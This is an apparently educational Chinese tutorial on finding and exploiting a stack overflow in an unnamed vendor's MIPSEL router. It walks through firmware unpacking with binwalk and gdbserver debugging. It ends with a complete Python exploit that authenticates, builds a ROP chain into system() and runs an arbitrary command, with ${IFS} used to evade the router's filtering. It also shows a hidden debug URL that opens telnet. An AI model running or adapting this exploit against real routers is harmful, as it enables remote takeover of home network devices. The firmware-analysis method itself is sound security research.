从零开始的路由器漏洞挖掘之旅
字数 1334 2025-08-22 12:23:42

从零开始的路由器漏洞挖掘实战教程

前言

本教程将详细介绍如何从零开始挖掘某厂商路由器的漏洞,涵盖固件分析、动态调试和漏洞利用的全过程。教程针对MIPSEL架构的路由器,通过实际操作演示漏洞挖掘的完整流程,特别适合新手入门学习。

环境准备

1. 固件分析工具安装

Binwalk安装

Binwalk是一个强大的固件分析工具,用于提取和分析嵌入式固件镜像:

git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo python3 setup.py install
sudo ./deps.sh  # Ubuntu系统专用依赖安装脚本

2. 交叉编译环境配置

为了调试MIPSEL架构的二进制文件,需要配置交叉编译环境:

sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu

3. 调试工具准备

gdbserver编译

下载并编译适用于MIPSEL架构的gdbserver:

wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7

如果编译失败,可以直接下载预编译版本:
https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt

调试客户端配置

在调试主机上安装必要的工具:

sudo apt install gdb-multiarch
# 安装gef插件
bash -c "$(wget http://gef.blah.cat/sh -O -)"

固件分析

1. 固件解包

从厂商官网下载固件后,使用binwalk进行解包:

binwalk -Me <firmware_file>

2. 漏洞定位

分析目标二进制文件(本例为setup.cgi):

file setup.cgi
# 输出: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

通过逆向分析发现:

  • 主函数位于setup_main
  • 函数sub_555BA950从nvram获取环境变量fw_out_rules的值
  • 未进行长度检查,在sscanf格式化写入时导致栈溢出

3. 漏洞触发路径分析

通过交叉引用发现:

  • fw_out_rulessub_55567D8C被设置
  • 两个函数都通过ActionTab方式按名调用
  • 对应调用名称为rule_list_simple_outoutmove

在固件解包目录下搜索相关字符串:

grep -r "rule_list_simple_out"
grep -r "outmove"

动态调试

1. 开启路由器调试功能

通过逆向发现可以通过以下方式开启telnet:

http://192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1

2. 上传gdbserver

在路由器上启动HTTP服务:

python -m http.server 9999

在路由器上下载gdbserver:

wget http://192.168.1.2:9999/gdbserver -O /tmp/gdbserver
chmod +x /tmp/gdbserver

3. 附加进程调试

由于setup.cgi不是持久进程,使用以下脚本循环附加:

int=1
while [ $int -le 1000 ]; do
    /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done

4. 调试端配置

创建gdb.cmd文件:

set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C

启动调试:

gdb-multiarch setup.cgi -x ./gdb.cmd

注意:IDA反汇编的基址可能与实际不同,需要根据实际基址进行rebase。

漏洞利用

1. 漏洞原理

MIPS架构下:

  • 函数调用时将返回地址放在$ra寄存器
  • 函数起始处压栈,结束时弹出
  • 通过ja指令跳到返回地址
  • 需要溢出到var_s24来劫持控制流

2. 寻找gadget

使用ropper查找合适的gadget:

file setup.cgi
search addiu $a0

找到的关键gadget:

0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
0x55567650: la $t9, system; nop; jalr $t9; nop;

3. 构造payload

利用cyclic工具确定偏移量:

cyclic -l <pattern>

4. 绕过过滤

目标路由器在FindForbidValue函数中检查了敏感字符/关键字,需要避免使用这些字符。

5. 最终exp

import requests, re
import base64

url = "http://192.168.1.1/"
user = "aaaa"
pwd = "xxxx!"
command = '/bin/ping xxx.dnslog.cn -c 4'
command = command.replace(" ", "${IFS}")

auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")

def login():
    get_sessionid = requests.get(url)
    sessionid = get_sessionid.headers["Set-Cookie"]
    headers = {"Authorization": auth, "Cookie": sessionid}
    r = requests.get(url, headers=headers)
    if r.status_code == 200:
        print("[+] Login success!")
        return sessionid
    else:
        print("[-] Login failed!")
        exit(0)

def get_sid(sessionid):
    headers = {"Authorization": auth, "Cookie": sessionid}
    get_sid = requests.get(url + "fw_rules.htm", headers=headers)
    sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8"))
    return sid[0]

def attack(sessionid):
    attackurl = url + "setup.cgi" + get_sid(sessionid)
    payload = "a" * 376
    payload += "%e4%2c%59%55"  # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
    payload += "b" * 0x1c
    payload += "%50%76%56%55"  # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop;
    payload += "c" * 8
    payload += "%0a{}%0a".format(command)
    
    pad = 500 - (len(payload) - 4)
    if (pad >= 0):
        payload += "c" * pad  # pad len to 500
    
    print("[+] Attack start")
    print(attackurl, payload)
    
    data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID="
    headers = {"Cookie": sessionid, "Authorization": auth}
    r = requests.post(url=attackurl, data=data, headers=headers)
    
    if r.status_code:
        print("[+] Attack success!, the result is:")
        print(r.content)
    else:
        print("[-] Attack failed!")
        exit(0)

sessionid = login()
attack(sessionid)

参考资源

  1. TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析
  2. 思科路由器 RV110W CVE-2020-3331 漏洞复现

总结

本教程详细介绍了路由器漏洞挖掘的全过程,从环境配置到漏洞利用。关键点包括:

  1. 固件提取与分析
  2. 逆向工程与漏洞定位
  3. 动态调试环境搭建
  4. MIPS架构下的漏洞利用技巧
  5. 实际漏洞利用代码编写

通过本教程,读者可以掌握路由器漏洞挖掘的基本方法和流程,为进一步的IoT安全研究打下基础。

从零开始的路由器漏洞挖掘实战教程 前言 本教程将详细介绍如何从零开始挖掘某厂商路由器的漏洞,涵盖固件分析、动态调试和漏洞利用的全过程。教程针对MIPSEL架构的路由器,通过实际操作演示漏洞挖掘的完整流程,特别适合新手入门学习。 环境准备 1. 固件分析工具安装 Binwalk安装 Binwalk是一个强大的固件分析工具,用于提取和分析嵌入式固件镜像: 2. 交叉编译环境配置 为了调试MIPSEL架构的二进制文件,需要配置交叉编译环境: 3. 调试工具准备 gdbserver编译 下载并编译适用于MIPSEL架构的gdbserver: 如果编译失败,可以直接下载预编译版本: https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt 调试客户端配置 在调试主机上安装必要的工具: 固件分析 1. 固件解包 从厂商官网下载固件后,使用binwalk进行解包: 2. 漏洞定位 分析目标二进制文件(本例为setup.cgi): 通过逆向分析发现: 主函数位于 setup_main 函数 sub_555BA950 从nvram获取环境变量 fw_out_rules 的值 未进行长度检查,在 sscanf 格式化写入时导致栈溢出 3. 漏洞触发路径分析 通过交叉引用发现: fw_out_rules 在 sub_55567D8C 被设置 两个函数都通过 ActionTab 方式按名调用 对应调用名称为 rule_list_simple_out 和 outmove 在固件解包目录下搜索相关字符串: 动态调试 1. 开启路由器调试功能 通过逆向发现可以通过以下方式开启telnet: 2. 上传gdbserver 在路由器上启动HTTP服务: 在路由器上下载gdbserver: 3. 附加进程调试 由于setup.cgi不是持久进程,使用以下脚本循环附加: 4. 调试端配置 创建gdb.cmd文件: 启动调试: 注意:IDA反汇编的基址可能与实际不同,需要根据实际基址进行rebase。 漏洞利用 1. 漏洞原理 MIPS架构下: 函数调用时将返回地址放在 $ra 寄存器 函数起始处压栈,结束时弹出 通过 ja 指令跳到返回地址 需要溢出到 var_s24 来劫持控制流 2. 寻找gadget 使用ropper查找合适的gadget: 找到的关键gadget: 3. 构造payload 利用cyclic工具确定偏移量: 4. 绕过过滤 目标路由器在 FindForbidValue 函数中检查了敏感字符/关键字,需要避免使用这些字符。 5. 最终exp 参考资源 TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 思科路由器 RV110W CVE-2020-3331 漏洞复现 总结 本教程详细介绍了路由器漏洞挖掘的全过程,从环境配置到漏洞利用。关键点包括: 固件提取与分析 逆向工程与漏洞定位 动态调试环境搭建 MIPS架构下的漏洞利用技巧 实际漏洞利用代码编写 通过本教程,读者可以掌握路由器漏洞挖掘的基本方法和流程,为进一步的IoT安全研究打下基础。